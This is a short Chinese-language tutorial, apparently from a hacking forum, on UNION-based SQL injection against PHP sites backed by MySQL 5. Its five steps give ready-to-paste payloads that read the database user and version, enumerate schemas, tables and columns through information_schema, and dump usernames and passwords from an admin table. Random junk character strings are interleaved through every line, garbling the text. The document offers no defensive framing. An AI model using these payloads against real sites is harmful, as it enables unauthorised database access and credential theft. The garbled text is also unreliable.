, V, U4 f& r! N1 P5 t
教程内容:Mysql 5+php 注入
, O/ }+ h4 ~ E j& C( G
' Z! V0 d/ [' Z, V9 i3 A/ u* n" y
) _+ Q, W8 I- u1 U. \5 Z& K
一.查看MYSQL基本信息(库名,版本,用户)- _6 G$ _0 m1 \' L/ [
. T8 O, [0 P7 A9 n/ Uand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*$ @, b- E- }( Y: a4 n$ L A
5 e! j- E( m/ q; g2 z二.查数据库4 _# j2 c' R% ?5 o; K; r7 p
# k3 D( N6 p* W- band 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
, @6 N$ {# z: E7 d* Flimit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。
8 o8 y m p7 K$ j( @
" p5 D' V' @9 Z1 ^三.暴表
8 H! G0 n' Y+ M9 h2 U3 @# \; H9 A" X
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*1 _" }! U; e3 G Q: M. L; _- J9 y
( P! k$ [0 B; s$ X- ?/ [limit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。) p) k2 x: c6 c5 t% v
S+ e* A2 r& n) |& C四.暴字段1 T& T2 p* s# _6 s3 o' Z8 ]% H+ j; a
0 \. H7 W. I& F5 i' B: Y1 c
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
% S7 |6 o* h: Z: A- C f: B u+ o- R9 }
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。
# Y7 B( V# _8 O% |2 p2 l) r. P8 `2 I) ^3 C
五.暴数据! M. ?; K: T1 j2 G" u s: J4 H/ V
k6 Y4 b, }4 W
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
2 p5 e k! H3 r0 @5 }$ C% ?
+ p7 ?5 }3 F3 i
3 Z0 S/ n) s! h: S- f( ~* {- `这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。
2 K$ V- w8 d2 W8 N4 G3 O9 f+ _ |